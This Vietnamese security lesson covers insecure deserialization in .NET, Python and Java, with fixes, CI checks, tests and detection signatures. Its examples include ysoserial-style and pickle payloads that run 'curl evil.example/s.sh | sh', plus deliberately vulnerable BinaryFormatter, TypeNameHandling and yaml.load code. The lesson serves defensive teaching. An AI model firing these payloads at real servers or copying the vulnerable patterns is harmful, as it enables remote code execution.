Là gì
Deserialization không an toàn là khi ứng dụng khôi phục object từ dữ liệu không tin cậy. Vấn đề không phải là dữ liệu — mà là kẻ tấn công quyết định class nào được khởi tạo. Chọn đúng class có sẵn trong classpath là chạy được code, và không cần một lỗ hổng nào khác.
Vì sao bạn quan tâm
Điều làm topic này khác mọi topic khác: payload không chứa code. Nó chứa một chuỗi các lời gọi tới code bạn đã có — thư viện bạn cài, class framework sinh ra. Nên không có gì để grep, không có ký tự đặc biệt nào, và WAF không thấy gì ngoài base64.
Ba điều đáng nắm:
- Nó là RCE, không phải rò dữ liệu. Không cần leo thang. Một
ViewStatekhông xác thực hay mộtBinaryFormatter.Deserializelà quyền chạy code trên server. - Bề mặt là classpath của bạn, và nó lớn hơn code bạn viết. Một gadget chain dùng
ObjectDataProvider(WPF),Commons Collections(Java), haypickle(Python) — bạn không viết chúng, nhưng chúng nằm trong process của bạn. - Thêm một dependency có thể tạo ra lỗ hổng mà không sửa dòng code nào. Đây là điểm phản trực giác nhất: gadget chain mới xuất hiện khi classpath thay đổi.
Và một sự thật quan trọng về .NET: BinaryFormatter đã bị xoá khỏi .NET 9. Microsoft dành nhiều năm để deprecate nó vì kết luận là "không thể dùng an toàn" — không phải "dùng cẩn thận thì được". Nếu bạn còn nó, việc cần làm không phải vá mà là thay.
JSON thì an toàn hơn hẳn — nhưng chỉ khi không bật type discriminator. TypeNameHandling.All trong Newtonsoft.Json đưa Json.NET vào đúng cùng một họ lỗi.
Cơ chế hoạt động
Cơ chế là một sự nhầm lẫn về ai quyết định kiểu. Deserializer đọc kiểu từ chính dữ liệu, nên dữ liệu quyết định code nào chạy.
flowchart TD P["Payload base64<br/>chứa TÊN KIỂU + dữ liệu trường"] --> D{Deserializer} D -->|"Kiểu đọc từ DỮ LIỆU<br/>BinaryFormatter, pickle,<br/>TypeNameHandling.All"| A["Khởi tạo kiểu kẻ tấn công CHỌN"] A --> G["Gadget: kiểu đó có một setter,<br/>một callback deserialization,<br/>hay một finalizer chạy lệnh"] G --> X["🔓 RCE — và payload không chứa code nào"] D -->|"Kiểu do CODE quyết định<br/>System.Text.Json, JSON schema"| S["Chỉ khởi tạo đúng kiểu đã khai"] S --> O["Trường lạ bị bỏ<br/>→ dữ liệu, không phải code"]Điểm cốt lõi ở nhánh trái: payload không chứa code. Nó chứa tên một kiểu và giá trị các trường. Code chạy là code của bạn — chỉ là chạy theo một thứ tự và với tham số mà kẻ tấn công chọn.
Đây gọi là gadget chain, và nó là lý do topic này khó: bề mặt không phải code bạn viết mà là toàn bộ classpath. Ví dụ cụ thể trong .NET — ObjectDataProvider có property MethodName và ObjectInstance; đặt chúng thành Start và một Process là RCE, và cả hai đều là property hoàn toàn hợp lệ của một class trong WPF.
Bảng mức rủi ro theo định dạng — đây là bảng cần nhớ:
| Định dạng | Kiểu đến từ đâu | Mức |
|---|---|---|
BinaryFormatter, SoapFormatter, NetDataContractSerializer | dữ liệu | Đã xoá khỏi .NET 9. Không dùng được an toàn |
pickle, marshal, PyYAML yaml.load | dữ liệu | RCE thẳng |
Java native ObjectInputStream | dữ liệu | RCE thẳng |
PHP unserialize | dữ liệu | RCE thẳng |
Newtonsoft TypeNameHandling.All/Objects | dữ liệu | RCE thẳng |
System.Text.Json mặc định | code | An toàn với RCE |
System.Text.Json + [JsonDerivedType] | code, có allowlist | An toàn — allowlist là hữu hạn |
yaml.safe_load | code | An toàn |
Và một cửa mà JSON vẫn hở: DoS. Một JSON lồng nhau 10.000 cấp làm hết stack, và một mảng khai [1,1,1,…] 100MB làm hết RAM — không cần gadget nào. Nên trần độ sâu và trần kích thước là bắt buộc kể cả với System.Text.Json.
Mô tả sơ đồ: Sơ đồ nhánh cho một payload base64 chứa tên kiểu và dữ liệu các trường. Nhánh sai dùng deserializer đọc kiểu từ chính dữ liệu — BinaryFormatter, pickle, hay TypeNameHandling.All — nên nó khởi tạo đúng kiểu mà kẻ tấn công chọn; kiểu đó là một gadget có setter, callback deserialization hay finalizer chạy lệnh, và kết quả là thực thi code từ xa dù payload không chứa dòng code nào. Nhánh đúng dùng deserializer mà kiểu do code quyết định, nên nó chỉ khởi tạo đúng kiểu đã khai và mọi trường lạ bị bỏ đi — dữ liệu vẫn là dữ liệu.
Ví dụ cụ thể
Một cookie "remember me" lưu preference của người dùng dưới dạng object đã serialize.
# Payload sinh bằng ysoserial.net, gadget ObjectDataProvider. Nội dung là XML —# và trong đó không có một dòng code nào, chỉ có tên kiểu và giá trị property.GET /dashboard HTTP/1.1Cookie: prefs=AAEAAAD/////AQAAAAAAAAAMAgAAAF9NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0…# Bên trong payload, đã giải mã (rút gọn):<ObjectDataProvider MethodName="Start"> <ObjectDataProvider.ObjectInstance> <Process> <Process.StartInfo> <ProcessStartInfo FileName="cmd" Arguments="/c curl evil.example/s.sh | sh" />Mọi kiểu và mọi property ở đây đều hợp lệ và có sẵn trong .NET. Payload chỉ nói "hãy dựng object này", và deserializer làm đúng thế.
# Biến thể Python — pickle, và nó ngắn tới mức khó tin.POST /api/session/restore HTTP/1.1Content-Type: application/octet-stream (cos\nsystem\n(S'curl evil.example/s.sh | sh'\ntR.Đó là toàn bộ payload pickle. __reduce__ của os.system được gọi trong lúc unpickle.
# Sau khi vá: kiểu do CODE quyết định, nên payload chỉ là dữ liệu sai định dạng.GET /dashboard HTTP/1.1Cookie: prefs=AAEAAAD/////… HTTP/1.1 200 OK(cookie bị bỏ qua, preference mặc định được dùng, và một dòng log cảnh báo)// ── ① BinaryFormatter. Đã bị XOÁ khỏi .NET 9 vì Microsoft kết luận nó không// thể dùng an toàn — không phải "dùng cẩn thận thì được".public UserPrefs? ReadPrefs(HttpRequest request){ if (!request.Cookies.TryGetValue("prefs", out var cookie)) return null; var bytes = Convert.FromBase64String(cookie); using var ms = new MemoryStream(bytes); // ❌ Kiểu đọc từ DỮ LIỆU. Payload không chứa code — nó chứa tên một kiểu và giá // trị các property, và deserializer dựng đúng object đó. ObjectDataProvider // có MethodName + ObjectInstance, nên "Start" trên một Process là RCE. var formatter = new BinaryFormatter(); return (UserPrefs)formatter.Deserialize(ms);} // ── ② Newtonsoft với TypeNameHandling. Cùng lỗi, cú pháp khác ──────────────public T? ReadCached<T>(string json){ var settings = new JsonSerializerSettings { // ❌ Nó đọc trường "$type" từ JSON và dựng kiểu đó. Người ta bật nó để // polymorphism hoạt động khi cache một interface — một nhu cầu hợp lý, // và cách giải quyết sai. // // "Auto" cũng không an toàn hơn: nó vẫn đọc $type khi có. TypeNameHandling = TypeNameHandling.All, }; return JsonConvert.DeserializeObject<T>(json, settings);} // ── ③ Và ký payload rồi giữ nguyên formatter ───────────────────────────────public UserPrefs? ReadSignedPrefs(string cookie){ var parts = cookie.Split('.'); var payload = Convert.FromBase64String(parts[0]); // ❌ Thứ tự ĐẢO: parse trước, verify sau. Parse là chỗ code chạy, nên MAC // không bảo vệ gì — gadget đã thực thi trước khi tới dòng kiểm. var prefs = (UserPrefs)new BinaryFormatter().Deserialize(new MemoryStream(payload)); if (!VerifyMac(payload, parts[1])) return null; return prefs;}import pickleimport yaml @app.post("/api/session/restore")def restore(): # ❌ pickle KHÔNG có chế độ an toàn — tài liệu Python nói thẳng thế. Payload # b"cos\nsystem\n(S'curl evil|sh'\ntR." dài 40 byte và nó là RCE: # __reduce__ của os.system được gọi trong lúc unpickle. state = pickle.loads(request.get_data()) session.update(state) return {"ok": True} @app.post("/api/config/import")def import_config(): # ❌ yaml.load KHÔNG an toàn: nó dựng object Python tuỳ ý. # !!python/object/apply:os.system ["curl evil|sh"] là RCE. # Loader=yaml.Loader cũng vậy — chỉ SafeLoader mới an toàn. config = yaml.load(request.get_data(), Loader=yaml.Loader) apply_config(config) return {"ok": True}Chuyện đã xảy ra
Equifax, 2017 — 147 triệu người. Điểm vào là CVE-2017-5638 trong Apache Struts: một OGNL expression trong header Content-Type được đánh giá thay vì coi là dữ liệu. Đó cùng một họ lỗi: dữ liệu không tin cậy quyết định code nào chạy. Bản vá đã có hai tháng trước khi Equifax bị khai thác — nên bài học không phải "hãy vá deserialization" mà là biết mình đang chạy phiên bản nào (xem topic dependencies-sbom).
CVE-2020-0688 — Microsoft Exchange, ViewState. Mọi bản Exchange dùng cùng một validationKey tĩnh, nên kẻ tấn công có một tài khoản bất kỳ ký được một ViewState hợp lệ — và ViewState là một object đã serialize. Kết quả là RCE với quyền SYSTEM. Bị khai thác hàng loạt, và nó cho thấy MAC trên payload chỉ an toàn khi khoá thật sự là bí mật.
Và quyết định của Microsoft về BinaryFormatter (2020–2024). Sau nhiều năm CVE, Microsoft kết luận nó không thể dùng an toàn và xoá nó khỏi .NET 9. Đáng nhớ vì đó là một trong rất ít trường hợp nhà cung cấp nói thẳng "API này không vá được" — nên nếu codebase của bạn còn nó, việc cần làm là thay, không phải cấu hình.
Cách phòng chống
Đừng deserialize dữ liệu không tin cậy — dùng định dạng mà CODE quyết định kiểu
bắt buộcBảng ở khối 3 là toàn bộ bản vá: chọn một định dạng mà kiểu đến từ code, không từ dữ liệu.
- .NET:
System.Text.Jsonvới mặc định. Nó deserialize vào đúng kiểu bạn khai, bỏ qua trường lạ, và không có cơ chế nào để dữ liệu chỉ định kiểu. BỏBinaryFormatter,SoapFormatter,NetDataContractSerializer,LosFormatter— chúng đã bị xoá khỏi .NET 9, nên đây là việc phải làm dù muốn hay không. - Newtonsoft.Json:
TypeNameHandling = None(mặc định). Nếu code cần polymorphism, chuyển sang[JsonDerivedType]củaSystem.Text.Json— nó là allowlist hữu hạn do bạn khai, không phải "kiểu nào cũng được". - Python:
jsonhoặcyaml.safe_load. Khôngpickle, khôngmarshal, khôngyaml.load.picklekhông có chế độ an toàn nào — tài liệu Python nói thẳng thế. - Java: JSON qua Jackson với default typing TẮT. Nếu buộc phải dùng native serialization,
ObjectInputFilter(JEP 290) với allowlist.
Và nguyên tắc mạnh nhất: nếu dữ liệu chỉ cần mang vài giá trị (preference, id, timestamp) thì đừng serialize object — dùng một DTO phẳng với các trường nguyên thuỷ. Object graph trong một cookie là một quyết định thiết kế, không phải một yêu cầu.
/// <summary>/// Preference của người dùng, dạng DTO PHẲNG với trường nguyên thuỷ.////// Đây là phần bản vá quan trọng nhất và nó không phải một dòng cấu hình: object/// graph trong một cookie là một QUYẾT ĐỊNH THIẾT KẾ, không phải một yêu cầu./// Nếu dữ liệu chỉ mang vài giá trị thì không cần serialize object nào, và lúc đó/// cả họ lỗ hổng này không có chỗ tồn tại./// </summary>public sealed record UserPrefs(string Theme, string Locale, bool CompactMode){ public static UserPrefs Default => new("system", "vi", false);} public sealed class PrefsCodec{ /// <summary> /// Kiểu do CODE quyết định. System.Text.Json deserialize vào ĐÚNG kiểu đã khai, /// bỏ qua trường lạ, và KHÔNG có cơ chế nào để dữ liệu chỉ định kiểu — nên /// không có gadget nào tồn tại được. /// /// MaxDepth 32 là bắt buộc dù đã dùng System.Text.Json: chuyển sang JSON đóng /// RCE và KHÔNG đóng DoS. JSON lồng 10.000 cấp làm hết stack, và /// StackOverflowException trong .NET KHÔNG bắt được — process chết. /// </summary> private static readonly JsonSerializerOptions Options = new() { MaxDepth = 32, PropertyNameCaseInsensitive = true, // Trường lạ trong JSON bị BỎ theo mặc định. Đặt tường minh để người đọc sau // biết đó là hành vi được chọn, không phải may mắn. UnmappedMemberHandling = JsonUnmappedMemberHandling.Skip, }; private readonly byte[] _key; // 32 byte từ secret store private readonly ILogger<PrefsCodec> _log; public PrefsCodec(IOptions<PrefsOptions> opts, ILogger<PrefsCodec> log) { _key = Convert.FromBase64String(opts.Value.HmacKey); if (_key.Length < 32) throw new InvalidOperationException("Khoá HMAC phải ≥256 bit"); _log = log; } public string Write(UserPrefs prefs) { var json = JsonSerializer.SerializeToUtf8Bytes(prefs, Options); var mac = HMACSHA256.HashData(_key, json); return $"{WebEncoders.Base64UrlEncode(json)}.{WebEncoders.Base64UrlEncode(mac)}"; } /// <summary> /// Trả về Default thay vì throw khi cookie sai: một cookie hỏng là chuyện thường /// (đổi khoá, cookie cũ), và một exception ở đây biến nó thành 500 cho người dùng thật. /// </summary> public UserPrefs Read(string? cookie) { if (string.IsNullOrEmpty(cookie)) return UserPrefs.Default; var dot = cookie.IndexOf('.'); if (dot <= 0) return Reject("thiếu MAC"); byte[] json, mac; try { json = WebEncoders.Base64UrlDecode(cookie[..dot]); mac = WebEncoders.Base64UrlDecode(cookie[(dot + 1)..]); } catch (FormatException) { return Reject("base64 không hợp lệ"); } // VERIFY TRƯỚC PARSE. Thứ tự này là toàn bộ điểm của lớp này: parse là chỗ // code chạy, nên verify sau khi parse là verify sau khi đã bị khai thác. // // FixedTimeEquals, không phải SequenceEqual: một phép so thoát sớm rò từng // byte của MAC qua thời gian phản hồi, và đủ để forge được. var expected = HMACSHA256.HashData(_key, json); if (!CryptographicOperations.FixedTimeEquals(mac, expected)) return Reject("MAC không khớp"); try { return JsonSerializer.Deserialize<UserPrefs>(json, Options) ?? UserPrefs.Default; } catch (JsonException) { return Reject("JSON không hợp lệ"); } } private UserPrefs Reject(string reason) { // Lớp 3 — tín hiệu độ nhiễu rất thấp: client của ta không tạo ra cookie sai MAC. _log.LogWarning("Cookie prefs bị từ chối: {Reason}", reason); return UserPrefs.Default; }} // ── Polymorphism khi CODE cần nó thật ──────────────────────────────────────/// <summary>/// Khi thật sự cần polymorphic deserialization, đây là cách đúng: allowlist HỮU HẠN/// do ta khai, không phải "kiểu nào cũng được".////// Khác biệt cốt lõi so với TypeNameHandling: ở đây tập kiểu có thể dựng là ba, và/// cả ba do ta viết ra. Dữ liệu chọn TRONG ba cái đó, nó không đặt tên kiểu mới./// </summary>[JsonPolymorphic(TypeDiscriminatorPropertyName = "kind", UnknownDerivedTypeHandling = JsonUnknownDerivedTypeHandling.FailSerialization)][JsonDerivedType(typeof(EmailNotification), "email")][JsonDerivedType(typeof(SlackNotification), "slack")][JsonDerivedType(typeof(WebhookNotification), "webhook")]public abstract record Notification; public sealed record EmailNotification(string To, string Subject) : Notification;public sealed record SlackNotification(string Channel) : Notification;public sealed record WebhookNotification(string Url) : Notification; // ── Program.cs · trần ở tầng framework ─────────────────────────────────────// Kiểm kích thước trong handler là kiểm SAU KHI đã nhận hết vào RAM.builder.Services.Configure<KestrelServerOptions>(o => o.Limits.MaxRequestBodySize = 1024 * 1024);builder.Services.ConfigureHttpJsonOptions(o =>{ o.SerializerOptions.MaxDepth = 32;});import hashlibimport hmacimport jsonimport osfrom base64 import urlsafe_b64decode, urlsafe_b64encode import yamlfrom pydantic import BaseModel, Field MAX_BODY = 1 * 1024 * 1024MAX_DEPTH = 32 KEY = os.environ["SESSION_HMAC_KEY"].encode()if len(KEY) < 32: raise RuntimeError("SESSION_HMAC_KEY phải ≥256 bit") class SessionState(BaseModel): """Schema PHẲNG với kiểu nguyên thuỷ. Kiểu do CODE quyết định: pydantic dựng đúng class này và bỏ trường lạ. Không có cơ chế nào để dữ liệu đặt tên một class khác, nên không có gadget nào tồn tại. """ model_config = {"extra": "ignore"} user_id: int = Field(ge=1) theme: str = Field(pattern=r"^(light|dark|system)$") locale: str = Field(pattern=r"^[a-z]{2}$") def _depth(obj, level: int = 0) -> int: """JSON an toàn với RCE, không an toàn với DoS: 10.000 cấp lồng làm hết stack. Đếm độ sâu trước khi đưa vào pydantic — json.loads của Python có trần đệ quy riêng nhưng nó ném RecursionError, và RecursionError ở giữa một request là 500. """ if level > MAX_DEPTH: raise ValueError("nested too deep") if isinstance(obj, dict): return max((_depth(v, level + 1) for v in obj.values()), default=level) if isinstance(obj, list): return max((_depth(v, level + 1) for v in obj), default=level) return level def read_session(cookie: str) -> SessionState | None: payload_b64, _, mac_b64 = cookie.partition(".") if not mac_b64: return None payload = urlsafe_b64decode(payload_b64 + "==") # VERIFY TRƯỚC PARSE, và compare_digest (hằng thời gian) chứ không ==. # Parse là chỗ code chạy — verify sau khi parse là verify sau khi bị khai thác. expected = hmac.new(KEY, payload, hashlib.sha256).digest() if not hmac.compare_digest(urlsafe_b64decode(mac_b64 + "=="), expected): app.logger.warning("cookie session bị từ chối: MAC không khớp") return None try: raw = json.loads(payload) _depth(raw) return SessionState.model_validate(raw) except (ValueError, TypeError) as e: app.logger.warning("cookie session bị từ chối: %s", e) return None def import_config(data: bytes): if len(data) > MAX_BODY: raise ValueError("body too large") # safe_load: chỉ dựng kiểu YAML cơ bản (dict, list, str, int, bool, None). # !!python/object/apply bị từ chối ở tầng parser. # # Lưu ý: safe_load VẪN có billion-laughs qua alias lồng nhau (&a / *a) — cùng # cơ chế với XXE. Trần độ sâu bên dưới là để đóng nó. raw = yaml.safe_load(data) _depth(raw) return ConfigSchema.model_validate(raw)Đừng để client giữ state — hoặc ký nó, nhưng không thay được lớp 1
bắt buộcCâu hỏi trước mọi câu hỏi khác: vì sao object này đi qua client?
Phần lớn trường hợp deserialization không an toàn tồn tại vì ai đó cần lưu state và cookie/hidden field là chỗ tiện nhất. Cách đúng là lưu ở server và cho client một id không đoán được: session id, orderId. Không có object nào đi qua thì không có gì để deserialize.
Khi buộc phải để client giữ (stateless, nhiều instance, không muốn Redis):
- Ký bằng HMAC-SHA256 với khoá riêng cho mục đích đó, và verify trước khi parse. Thứ tự quan trọng: verify rồi mới parse, không phải parse rồi verify — parse là chỗ code chạy.
- So MAC bằng hàm hằng thời gian (
CryptographicOperations.FixedTimeEquals). Một phép so thoát sớm rò từng byte của MAC qua thời gian phản hồi. - Khoá phải thật sự bí mật và riêng cho mỗi deployment. CVE-2020-0688 là chính xác lỗi này: mọi bản Exchange dùng cùng một
validationKey, nên MAC không bảo vệ ai.
MAC KHÔNG thay được lớp 1. Nó chặn kẻ tấn công bên ngoài; nó không chặn một payload từ một người dùng đã đăng nhập nếu bạn ký bằng khoá dùng chung, và nó không cứu bạn khi khoá rò. Ký một payload BinaryFormatter là làm cho một API không vá được trở nên khó khai thác hơn, không phải làm nó an toàn.
Trần độ sâu và trần kích thước — JSON an toàn với RCE, không an toàn với DoS
bắt buộcChuyển sang System.Text.Json đóng RCE và không đóng DoS. Ba trần, mỗi cái chặn một thứ:
- Độ sâu:
JsonSerializerOptions { MaxDepth = 32 }.System.Text.Jsonmặc định là 64, nhưng 32 đã hơn mọi cấu trúc thật. Một JSON lồng 10.000 cấp làm hết stack — vàStackOverflowExceptiontrong .NET không bắt được, process chết. - Kích thước body: ở tầng framework/proxy, không trong handler. Kiểm trong handler là kiểm sau khi đã nhận hết vào RAM.
- Số phần tử trong mảng và độ dài chuỗi: một mảng khai
[1,1,1,…]100MB parse hết vào mộtList<int>là 400MB heap. Trần này phải ở tầng validation của DTO.
Và với YAML: kể cả safe_load vẫn có billion-laughs qua alias (&a/*a lồng nhau) — cùng cơ chế với XXE ở topic xxe. Đặt trần độ sâu và tắt alias nếu thư viện cho phép.
Giới hạn thiệt hại khi gadget chain thắng
Lớp này bắt đúng cái lớp 1 không thấy: một gadget chain mới trong một dependency mới, hoặc một deserializer trong một thư viện bạn không biết là có.
Cùng bộ biện pháp như topic command-injection lớp 2, và cùng lý do — hậu quả là RCE:
- User không phải root,
readOnlyRootFilesystem: true, drop mọi Linux capability,seccompProfile: RuntimeDefault. - Egress đóng: một RCE không gọi ra ngoài được thì không tải payload thứ hai về được và không đẩy dữ liệu ra được. Xem topic ssrf lớp 2 cho NetworkPolicy cụ thể.
- Không có credential rộng trong process: nếu RCE lấy được connection string của một tài khoản DB superuser thì lớp 2 gần như vô nghĩa. Xem topic sql-injection lớp 2.
Và một biện pháp riêng của topic này: giảm classpath. Bề mặt gadget là toàn bộ thư viện trong process, nên bỏ một dependency không dùng là bỏ đi một tập gadget. Trong .NET: PublishTrimmed cho ứng dụng self-contained.
Phát hiện: chữ ký của payload gadget rất đặc trưng
Đây là một trong ít họ lỗi mà phát hiện dựa trên chuỗi thật sự hoạt động, vì payload gadget mang những marker gần như không xuất hiện trong lưu lượng bình thường:
AAEAAAD/////— magic bytes củaBinaryFormattersau base64. Một request chứa nó là một lần thử, không phải một client cấu hình sai.rO0AB— magic của Java serialization sau base64.$typetrong body JSON — chữ ký củaTypeNameHandlingđang bị dò.__reduce__,os\nsystem,subprocesstrong một body binary — pickle.!!python/object/apply— PyYAML.
Alert theo lần xuất hiện đầu tiên, không theo tổng số: một lần là đủ để điều tra. Đây là lớp 3 vì nó không chặn gì — nhưng khác với phần lớn phát hiện bảo mật, nó gần như không có false positive.
Và một biện pháp phòng ngừa quan trọng hơn: theo dõi dependency. Gadget chain mới xuất hiện khi classpath đổi, nên dotnet list package --vulnerable trong CI và alert từ SBOM là biện pháp bắt được rủi ro trước khi nó thành lỗ hổng. Equifax là một lỗ hổng có bản vá từ hai tháng trước.
Kiểm chứng đã vá
1. Grep chặn merge — phép kiểm có tỉ lệ hiệu quả cao nhất của topic này, vì các API nguy hiểm có tên hữu hạn và không đổi:
# .NET — bốn cái này đã bị xoá khỏi .NET 9, nên đây cũng là phép kiểm sẵn sàng nâng cấpgrep -rnE 'BinaryFormatter|SoapFormatter|NetDataContractSerializer|LosFormatter' \ --include='*.cs' src/ && { echo "formatter không vá được"; exit 1; } # Newtonsoft polymorphic — TypeNameHandling khác None là RCEgrep -rnE 'TypeNameHandling *= *TypeNameHandling\.(All|Objects|Arrays|Auto)' \ --include='*.cs' src/ && { echo "TypeNameHandling bật"; exit 1; } # Python / YAMLgrep -rnE '\bpickle\.(load|loads)|\bmarshal\.|yaml\.load\((?!.*SafeLoader)' \ --include='*.py' src/ && { echo "deserializer không an toàn"; exit 1; }exit 02. Test khẳng định payload gadget bị TỪ CHỐI, không phải "không throw". Đây là điểm mà phần lớn test sai: khẳng định phải là tác dụng phụ không xảy ra (file marker không xuất hiện, process con không sinh ra), không phải một exception cụ thể. Xem tab csharp / test.
3. Test DoS riêng. Chuyển sang System.Text.Json đóng RCE và không đóng DoS:
# JSON lồng 10.000 cấp. Phải là 400, không phải process chết.python3 -c "print('['*10000 + ']'*10000)" > deep.jsoncurl -s -o /dev/null -w '%{http_code}\n' -X POST "$B/api/prefs" \ -H 'Content-Type: application/json' --data-binary @deep.json# 400 = đạt. Timeout hay 502 = process chết vì StackOverflow, và nó KHÔNG bắt được.4. Kiểm dependency có gadget chain đã biết — đây là phép kiểm bắt được rủi ro trước khi nó thành lỗ hổng, và là phép kiểm Equifax thiếu:
dotnet list package --vulnerable --include-transitive 2>&1 | tee /tmp/vuln.txtgrep -q 'has the following vulnerable packages' /tmp/vuln.txt \ && { echo "có package có lỗ hổng đã biết"; exit 1; }exit 05. Nếu còn payload có MAC: kiểm thứ tự verify-trước-parse. Đây là phép kiểm mà không ai nghĩ tới: gửi một payload có MAC sai và khẳng định không có gì được parse. Nếu log cho thấy một lỗi deserialization thì thứ tự bị đảo — và parse là chỗ code chạy.
6. Kiểm khoá MAC không phải giá trị mặc định (CVE-2020-0688 là chính xác lỗi này):
# Khoá phải đến từ secret store, và phải khác nhau giữa các môi trường.test "$(printenv PREFS_HMAC_KEY | sha256sum | cut -c1-16)" \ != "$(echo -n 'change-me' | sha256sum | cut -c1-16)" \ || { echo "khoá HMAC còn là giá trị mặc định"; exit 1; }public class PrefsCodecTests{ private readonly PrefsCodec _codec = TestCodec.WithRandomKey(); /// <summary> /// Phần lớn test deserialization khẳng định sai thứ: chúng kiểm "một exception /// được ném", mà một bản vá blocklist cũng ném exception. Test này khẳng định /// đúng thứ cần — TÁC DỤNG PHỤ không xảy ra: /// /// • không có file marker nào được tạo /// • không có process con nào được sinh ra /// • và hàm trả về giá trị mặc định, tức là luồng vẫn chạy đúng /// /// Payload là gadget ObjectDataProvider thật, sinh bằng ysoserial.net. /// </summary> [Theory] [InlineData(GadgetPayloads.BinaryFormatterObjectDataProvider)] [InlineData(GadgetPayloads.BinaryFormatterTypeConfuseDelegate)] [InlineData(GadgetPayloads.NewtonsoftTypeName)] public void Gadget_payload_never_executes(string payload) { const string marker = "/tmp/seclab-deser-pwned"; if (File.Exists(marker)) File.Delete(marker); var childrenBefore = Process.GetProcesses().Length; var result = _codec.Read(payload); Assert.False(File.Exists(marker), "gadget đã chạy"); Assert.Equal(UserPrefs.Default, result); // Không sinh process con: một số gadget spawn cmd/sh thay vì ghi file. Assert.InRange(Process.GetProcesses().Length, 0, childrenBefore + 2); } /// <summary> /// DoS. Chuyển sang System.Text.Json đóng RCE và KHÔNG đóng DoS — nên đây là /// một test riêng, không phải một biến thể của test trên. /// /// Nếu MaxDepth bị bỏ ra, test này không đỏ: nó làm test host CHẾT, vì /// StackOverflowException trong .NET không bắt được. Đó cũng là lý do trần này /// phải là cấu hình, không phải một try/catch. /// </summary> [Fact] public void Deeply_nested_json_is_rejected_not_fatal() { var deep = new string('[', 10_000) + new string(']', 10_000); var signed = TestCodec.SignRaw(_codec, Encoding.UTF8.GetBytes(deep)); var result = _codec.Read(signed); // KHÔNG được làm chết process Assert.Equal(UserPrefs.Default, result); } /// <summary> /// Thứ tự verify-trước-parse. Đây là phép kiểm mà không ai nghĩ tới, và nó là /// khác biệt giữa một MAC có nghĩa và một MAC trang trí. /// /// Payload là gadget, MAC là rác. Nếu code parse trước rồi verify sau thì gadget /// đã chạy TRƯỚC KHI tới dòng kiểm MAC — và test này bắt được đúng điều đó. /// </summary> [Fact] public void Mac_is_verified_before_the_payload_is_parsed() { const string marker = "/tmp/seclab-deser-pwned"; if (File.Exists(marker)) File.Delete(marker); var gadget = WebEncoders.Base64UrlEncode( Convert.FromBase64String(GadgetPayloads.BinaryFormatterObjectDataProvider)); var result = _codec.Read($"{gadget}.{WebEncoders.Base64UrlEncode("rác"u8.ToArray())}"); Assert.Equal(UserPrefs.Default, result); Assert.False(File.Exists(marker), "payload được parse trước khi MAC bị từ chối"); } /// <summary> /// Cặp đôi: cookie hợp lệ vẫn đọc được. Không có nó thì một bản vá /// "luôn trả Default" pass mọi test ở trên. /// </summary> [Fact] public void Valid_cookie_round_trips() { var prefs = new UserPrefs("dark", "en", true); Assert.Equal(prefs, _codec.Read(_codec.Write(prefs))); } /// <summary> /// Sửa MỘT bit trong payload phải làm MAC hỏng. Test này bắt được lỗi /// "MAC tính trên chuỗi khác với chuỗi được parse" — một lỗi im lặng. /// </summary> [Fact] public void Tampered_payload_is_rejected() { var cookie = _codec.Write(new UserPrefs("dark", "en", true)); var dot = cookie.IndexOf('.'); var json = WebEncoders.Base64UrlDecode(cookie[..dot]); json[0] ^= 0x01; // đổi một bit var tampered = $"{WebEncoders.Base64UrlEncode(json)}{cookie[dot..]}"; Assert.Equal(UserPrefs.Default, _codec.Read(tampered)); } /// <summary> /// Formatter không vá được không được quay lại. Grep trong CI cũng làm việc này, /// nhưng một test thì chạy cả khi ai đó sửa file CI. /// </summary> [Fact] public void No_unfixable_formatter_is_referenced() { var banned = new[] { "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter", "System.Runtime.Serialization.NetDataContractSerializer", "System.Web.UI.LosFormatter", }; var referenced = typeof(PrefsCodec).Assembly.GetReferencedAssemblies() .SelectMany(a => SafeGetTypes(Assembly.Load(a))) .Select(t => t.FullName) .Where(n => banned.Contains(n)) .ToList(); Assert.Empty(referenced); }}Sai lầm thường gặp
| "Bản vá" | Vì sao không đúng |
|---|---|
| Blocklist tên class nguy hiểm | Gadget chain mới xuất hiện mỗi khi classpath đổi. Danh sách của bạn là ảnh chụp của hôm nay |
Ký payload rồi giữ BinaryFormatter | Làm khó khai thác hơn, không làm an toàn. Khoá rò, hoặc khoá dùng chung (CVE-2020-0688), là hết |
| Verify MAC sau khi parse | Parse là chỗ code chạy. Thứ tự phải là verify → parse |
So MAC bằng == | Thoát sớm nên rò từng byte qua thời gian. Cần FixedTimeEquals |
| Mã hoá payload thay vì ký | Mã hoá không xác thực. Kẻ tấn công có khoá (hoặc padding oracle) vẫn tạo được payload |
TypeNameHandling.Auto "vì chỉ dùng nội bộ" | Auto vẫn đọc $type từ dữ liệu. "Nội bộ" là một giả định về mạng, không phải một biện pháp |
| Chuyển sang JSON rồi coi là xong | Đóng RCE, để nguyên DoS: JSON lồng 10.000 cấp làm chết process, và StackOverflowException không bắt được |
yaml.load với Loader=yaml.Loader | Vẫn không an toàn. Chỉ SafeLoader/safe_load mới an toàn |
WAF chặn chuỗi AAEAAAD | Đúng là tín hiệu tốt để PHÁT HIỆN (lớp 3), nhưng nén/mã hoá lại là vòng qua được |
Sai lầm về phạm vi, và nó là sai lầm chính: đi tìm trong code mình viết. Deserializer thường nằm trong một thư viện: một cache provider, một session store, một message queue client, một thư viện đọc file Office. Cách tìm đúng là grep tên API, không grep chữ "deserialize".
Sai lầm về thời gian: coi đây là một việc kiểm một lần. Bề mặt gadget = classpath, và classpath đổi mỗi lần thêm dependency — nên một codebase "đã kiểm" có thể có lỗ hổng mới mà không sửa dòng code nào.
Bình luận
Bình luận cần tài khoản đã hoàn thành ít nhất một bài học. Điều kiện đó là thứ giữ cho luồng thảo luận này còn đáng đọc: mỗi ý kiến gắn với một người có thể bị hỏi lại, và reputation tích luỹ theo thời gian.
Bạn vẫn đọc được toàn bộ bình luận dưới đây mà không cần tài khoản. Đăng nhập xong bạn sẽ quay lại đúng chỗ này, không phải đầu trang.
Đang tải bình luận…